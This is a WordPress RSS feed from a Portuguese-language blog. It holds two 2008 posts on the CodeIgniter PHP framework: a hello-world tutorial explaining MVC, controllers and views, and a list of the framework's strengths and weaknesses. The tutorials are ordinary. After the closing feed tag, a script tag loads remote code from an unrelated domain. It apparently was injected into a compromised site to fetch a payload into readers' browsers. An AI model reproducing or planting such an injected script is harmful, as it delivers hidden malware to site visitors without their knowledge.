

﻿














<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paulo Eduardo &#187; CodeIgniter</title>
	<atom:link href="http://www.pauloeduardo.com/category/codeigniter/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.pauloeduardo.com</link>
	<description>Tecnologia, Desenvolvimeto Web, e um pouco mais.</description>
	<lastBuildDate>Wed, 17 Dec 2008 02:46:32 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Começando com CodeIgniter</title>
		<link>http://www.pauloeduardo.com/2008/06/25/comecando-com-codeigniter/</link>
		<comments>http://www.pauloeduardo.com/2008/06/25/comecando-com-codeigniter/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 19:04:42 +0000</pubDate>
		<dc:creator>Paulo Eduardo</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[3 Camadas]]></category>
		<category><![CDATA[CI]]></category>
		<category><![CDATA[Model-View-Controller]]></category>
		<category><![CDATA[MVC]]></category>

		<guid isPermaLink="false">http://www.pauloeduardo.com/?p=54</guid>
		<description><![CDATA[Para começar a trabalhar com CodeIgniter primeiramente é preciso que o leitor saiba o que é MVC, ou separação em 3 camadas. MVC MVC é uma sigla para Model-View-Controller, onde o Model representa a camada de acesso a dados, View a camada de apresentação, e Controller as regras de negocio da sua aplicação. Em outras [...]]]></description>
			<content:encoded><![CDATA[<p>Para começar a trabalhar com CodeIgniter primeiramente é preciso que o leitor saiba o que é MVC, ou separação em 3 camadas.</p>
<h3>MVC</h3>
<p>MVC é uma sigla para Model-View-Controller, onde o Model representa a camada de acesso a dados, View a camada de apresentação, e Controller as regras de negocio da sua aplicação. Em outras palavras o MVC separa o acesso ao banco de dados do HTML e das regras de negocio, ou o SQL o HTML e o PHP.</p>
<h4>Por que isso é bom</h4>
<p>Quem já está familiarizado com o desenvolvimento de aplicações em 3 camadas já sabe que são inúmeras as vantagens dessa separação. porem alguma das mais importantes são, poder formar uma equipe de trabalho onde cada um trabalhe na parte que lhe cabe, nesse caso um DBA iria trabalhar somente no model, um Front-End-Developer somente nas Views e um programador Server-side somente nos controllers, sem que um interfira no trabalho do outro.</p>
<p>Alem disso a facilidade na hora da manutenção do código é muito superior a caso você estivesse trabalhando com tudo junto numa mesma camada.</p>
<h3>Requisitos Mínimos</h3>
<p>Apache + PHP 4.3.2 ou mais novo<br />
Algum banco de dados para o caso de aplicações com acesso a dados<br />
Os bancos suportados são MySQL (4.1+), MySQLi, MS SQL, Postgre, Oracle, SQLite e ODBC.</p>
<h3>Instalando o CI</h3>
<p>Acho que instalar não seria a palavra certa, mesmo por que o que você deve fazer é ir ao site <a href="http://www.codeigniter.com">oficial do framework</a> e baixar a versão mais recente dele, descompacte-a na raiz do seu dominio, caso esteja testando remotamente, ou na raiz do localhost, caso esteja trabalhando localmente.</p>
<h3>Enfim o começo</h3>
<p>Apesar de permitir o desenvolvimento em 3 camadas o CI também permite que a camada de Model e de Controller sejam unidas em uma camada só, o que resultaria numa divisão em apenas duas camadas, apesar de eu aconselhar seriamente o uso dos models, trabalhar sem eles pode ser ótimo para começar a aprender.</p>
<p>Pensando assim vamos construir uma aplicação usando apenas os controllers e as views.</p>
<p>Os Controllers devem estar dentro da pasta ./system/application/controllers, nela iremos criar um arquivo chamado welcome.php, esse é o nome padrão para o controller principal da sua aplicação, o primeiro que será chamado quando o visitante entra na aplicação.</p>
<p>Isso pode ser mudado alterando a variável $route['default_controller'] no arquivo routes.php dentro da pasta ./system/application/config, nessa pasta estão também os outros arquivos de configuração do framework.</p>
<p>Nesse arquivo iremos escrever o seguinte código:</p>
<p><code>&lt;?php<br />
class Welcome extends Controller {</code></p>
<p>function Welcome()<br />
{<br />
parent::Controller();<br />
}</p>
<p>function index()<br />
{</p>
<p>$parametro['mensagem'] = &#8216;hello world&#8217;;<br />
$this-&gt;load-&gt;view(&#8216;welcome_index&#8217;, $parametro);<br />
}</p>
<p>Feito isso iremos criar um arquivo chamado welcome_index.php na pasta ./system/application/views e nele escrever o seguinte código:</p>
<p><code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&gt;<br />
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv="content-type" content="application/xhtml+xml; charset=ISO-8859-1" /&gt;<br />
&lt;title&gt;Hello World&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;?=$mensagem?&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</code></p>
<p>Percebam que o segundo arquivo é um simples HTML que imprime a variável $mensagem do PHP na tela, portanto vamos analisar o primeiro arquivo, nele criamos uma classe Welcome que estende a classe Controller, uma função com o mesmo nome da classe (Função Construtora) que chama o construtor da sua classe pai (no caso a classe controller) e uma outra função index (esse é a primeira função chamada de cada controller) que cria um array de somente uma chave e chama a função <code>$this-&gt;load-&gt;view('welcome_index', $parametro);</code> passando como primeiro parâmetro o nome da view que será chamada e o como segundo parâmetro um array de dados a ser passado para essa view</p>
<p>Essa view recebe esse array e trasforma todos os seus indices em variaveis, dessa forma o indice &#8216;mensagem&#8217; se torna a variável $mensagem que pode ser usada como quiser no decorrer do codigo</p>
<p>Agora se chamarmos o endereço http://localhost/ (substituir pelo correspondente caso esteja testando remotamente) devemos ter uma tela com a mensagem &#8216;Hello World&#8217; impressa na tela. O mesmo deve acotecer se chamarmos http://localhost/index.php ou http://localhost/index.php/welcome ou http://localhost/index.php/welcome/index. Isso acontece pois apos o index.php as duas partes separadas por barras correspondem ao controller que será chamado e a função desse controller, porem quando omitimos esses dados ele ira chamar o controller welcome a função index.</p>
<p>Achou que ia ser mais? Pois então comece agora a criar sua própria aplicação usando CI</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pauloeduardo.com/2008/06/25/comecando-com-codeigniter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP com CodeIgniter</title>
		<link>http://www.pauloeduardo.com/2008/06/18/php-com-codeigniter/</link>
		<comments>http://www.pauloeduardo.com/2008/06/18/php-com-codeigniter/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 03:59:58 +0000</pubDate>
		<dc:creator>Paulo Eduardo</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[CI]]></category>
		<category><![CDATA[Desvantagens]]></category>
		<category><![CDATA[Pontos Negativos]]></category>
		<category><![CDATA[Pontos Positívos]]></category>
		<category><![CDATA[Vantagens]]></category>

		<guid isPermaLink="false">http://www.pauloeduardo.com/?p=53</guid>
		<description><![CDATA[Nas minhas aplicações em PHP costumo utilizar como framework MVC o CodeIgniter, acho que em diversos casos um bom framework pode ajudar o desenvolvedor a desenvolver com maior agilidade e facilidade. Não vou ficar só nisso, mas para fazer a transição da serie anterior para falar de CodeIgniter vou começar listando os pontos positivos e [...]]]></description>
			<content:encoded><![CDATA[<p>Nas minhas aplicações em PHP costumo utilizar como framework MVC o <a href="http://www.codeigniter.com">CodeIgniter</a>, acho que em diversos casos um bom framework pode ajudar o desenvolvedor a desenvolver com maior agilidade e facilidade.</p>
<p>Não vou ficar só nisso, mas para fazer a transição da serie anterior para falar de CodeIgniter vou começar listando os pontos positivos e negativos do CI.</p>
<h3>Pontos Positivos</h3>
<h4>compatível com PHP 4 e 5</h4>
<p>Estou vendo o dia em que teremos o lançamento do PHP 6 e ainda vai ser um ponto positivo de um framework ser compatível com PHP 4. Mas é verdade, devido a demora dos provedores de hospedagem de mudar seus servidores web para suportar PHP 5 ainda é uma vantagem de um framework ser compatível com PHP 4, vantagem essa que gera algumas desvantagens que falarei no decorrer do post.</p>
<h4>Documentação Rica e de Fácil acesso</h4>
<p>Isso sempre será uma grande vantagem de qualquer linguagem de programação, IDE, Framework ou o que for, ter uma documentação rica e de fácil acesso permite que os desenvolvedores não tenham que se matar para procurar soluções para problemas que possam vir a acontecer e nem muito menos para os iniciantes aprenderem o básico do funcionamento do framework.</p>
<p>No caso do CI você pode encontrar <a href="http://codeigniter.com/tutorials/">tutoriais em vídeo</a> e um <a href="http://codeigniter.com/user_guide/">guia do usuário</a> na sua pagina oficial, alem de encontrar a <a href="http://www.plasmadesign.com.br/codeigniter/user_guide-pt_BR/">versão em português do guia do usuário</a>, que apesar de não estar tão atual quanto a versão em inglês está em otima.</p>
<h4>Comunidade Ativa</h4>
<p>Junto com o item anterior esse contribui ainda mais para a encontrabilidade do conteúdo referente ao framework. É possivel acessar o <a href="http://codeigniter.com/forums/">forum da comunidade</a> e a <a href="http://codeigniter.com/wiki/">Wiki da Comunidade</a> para tirar todas as suas dúvidas.</p>
<h4>Facilidade de Uso e Baixa Curva de Aprendizado</h4>
<p>Para alguem que já conhece um pouco de PHP usar o CI e como tirar doce de criança, basta assistir aos tutoriais deixar o o guia do usuário aberto em uma aba do seu <a href="http://www.firefox.com">navegador</a> e começar a usar.</p>
<h3>Pontos Negativos</h3>
<h4>Orientação a Objetos</h4>
<p>Para manter a compatibilidade com a versão 4 do PHP, não foi possível implementar todas as mudanças com relação a orientação a objetos que vieram com a versão 5 do PHP, o que impede que alguns recursos de orientação a objetos sejam usados na aplicação.</p>
<p>Nos próximos artigos algumas dicas de uso do CI, como começar a usar e boas praticas de programação</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pauloeduardo.com/2008/06/18/php-com-codeigniter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>